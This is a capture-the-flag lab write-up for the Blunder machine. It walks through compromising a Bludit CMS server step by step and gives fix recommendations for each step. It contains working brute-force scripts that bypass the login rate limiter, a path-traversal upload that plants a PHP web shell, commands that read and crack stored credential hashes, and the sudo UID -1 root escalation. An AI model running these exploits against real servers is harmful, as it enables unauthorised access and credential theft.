Blunder
Summary
I found a username in a publicly readable notes file, generated a targeted password list from the site's own blog text, then bypassed the CMS login rate-limiter to authenticate. A known file-upload flaw in the Bludit CMS allowed uploading a PHP web shell disguised as an image, granting code execution as the web service account.
Credentials for a local user were recovered in plaintext from a second, unpatched CMS installation on the same server. That user's sudo policy was intended to block root access, but a well-known integer-overflow bug in an outdated sudo binary let me trivially bypass it and claim a full root shell.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for hugo>"Some commands also carry a value in angle brackets — <the-password-you-recovered> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Directory brute-force to discover hidden files including todo.txt.
$ gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt -x txt,bak,log,php -t 40Read the exposed notes file; extracts the username 'fergus'.
$ curl -s http://$TARGET/todo.txtFixRemove or restrict access to internal notes and configuration files in the web rootMedium
Exact commands 2
Spider to depth 3, collect words of 5+ characters into a custom wordlist.
$ cewl -d 3 -m 5 http://$TARGET/ -w /tmp/blunder_words.txtVerify '$PASSWORD' is present in the harvested list before the brute-force step.
$ grep -i "$PASSWORD" /tmp/blunder_words.txtExact commands 2
PoC (e.g. github.com/ColdFusionX/CVE-2019-17240) rotates X-Forwarded-For per attempt to bypass IP lockout.
$ python3 bludit_brute.py -u http://$TARGET -user fergus -wordlist /tmp/blunder_words.txtInline manual equivalent: rotates X-Forwarded-For per attempt.
$ python3 - <<PY
import requests, re
base="http://$TARGET"
s=requests.Session()
r=s.get(base+'/admin/index.php',timeout=8)
t=re.search(r'name="tokenCSRF" value="([^"]+)"',r.text).group(1)
for i,pw in enumerate(open('/tmp/blunder_words.txt')):
pw=pw.strip(); hdrs={'X-Forwarded-For':f'10.0.0.{i}'}
resp=s.post(base+'/admin/index.php',data={'tokenCSRF':t,'username':'fergus','password':pw},headers=hdrs,allow_redirects=False,timeout=8)
print(pw,resp.status_code)
if resp.status_code==301: break
PYFixPatch Bludit to fix the login rate-limit bypass (CVE-2019-17240)High
Exact commands 2
One authenticated POST. The traversal is in uuid, which names the directory rather than the file.
$ python3 - <<PY
import re, requests
base = "http://$TARGET"
s = requests.Session()
# Bludit puts a CSRF token in every form, and checks it.
def token(path):
page = s.get(base + path, timeout=8).text
return re.search(r'name="tokenCSRF" value="([^"]+)"', page).group(1)
s.post(base + '/admin/login', timeout=8, data={
'tokenCSRF': token('/admin/login'),
'username': 'fergus',
'password': '<the-password-you-recovered>',
})
shell = b'<?php system(\$_GET["cmd"]); ?>'
# The name ends in .png and the uuid walks out of the upload
# directory; the extension check reads the first and not the second.
r = s.post(base + '/admin/ajax/upload-images', timeout=8,
data={'uuid': '../../tmp', 'tokenCSRF': token('/admin/dashboard')},
files={'images[]': ('shell.png', shell, 'image/png')})
print(r.status_code, r.text[:200])
PYExpect uid=33(www-data). The .png is executed because of where it landed, not what it is called.
$ curl -s "http://$TARGET/bl-content/tmp/shell.png?cmd=id"FixUpgrade Bludit to eliminate the authenticated file-upload RCE (CVE-2019-16113)Critical
cat /var/www/bludit-3.10.0a/bl-content/databases/users.php returned hugo's password hash; su - hugo with the password succeeded.Exact commands 2
Read the secondary Bludit user database through the active web shell to obtain hugo's hash.
$ python3 - <<PY
import requests
url="http://$TARGET/bl-content/tmp/shell.png"
cmd='cat /var/www/bludit-3.10.0a/bl-content/databases/users.php'
r=requests.get(url,params={'cmd':cmd},timeout=15)
print(r.text)
PYCrack the bcrypt hash offline (mode 3200) if not immediately readable as plaintext.
$ hashcat -m 3200 hugo_hash.txt /usr/share/wordlists/rockyou.txtFixProtect CMS credential files and eliminate OS password reuseHigh
printf <withheld> | su - hugo -c 'id; sudo -l' returned uid=1000(hugo) and listed the sudo rule.Exact commands 2
Switch to hugo through the web shell and enumerate sudo permissions.
$ python3 - <<PY
import requests
url="http://$TARGET/bl-content/tmp/cmd_jprrsmx.png"
cmd="printf '$PASSWORD2\\n' | su - hugo -c 'id; cat /home/hugo/user.txt; sudo -l' 2>&1"
r=requests.get(url,params={'cmd':cmd},timeout=15)
print(r.text)
PY
uid=1000(hugo)Retrieve the user flag: <user.txt>
$ cat /home/hugo/user.txtprintf <withheld> | sudo -S -u#-1 /bin/bash -c 'id; whoami' returned uid=0(root) whoami=root.Exact commands 2
Confirm hugo's sudo rule — expect: (ALL, !root) /bin/bash
$ sudo -lExploit CVE-2019-14287: UID -1 is misinterpreted as UID 0, bypassing the !root restriction. Root flag: <root.txt>
$ printf "$PASSWORD2\n" | sudo -S -u#-1 /bin/bash -c 'id; whoami; cat /root/root.txt'
uid=0(root)FixPatch sudo to fix the UID -1 privilege escalation (CVE-2019-14287)Critical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.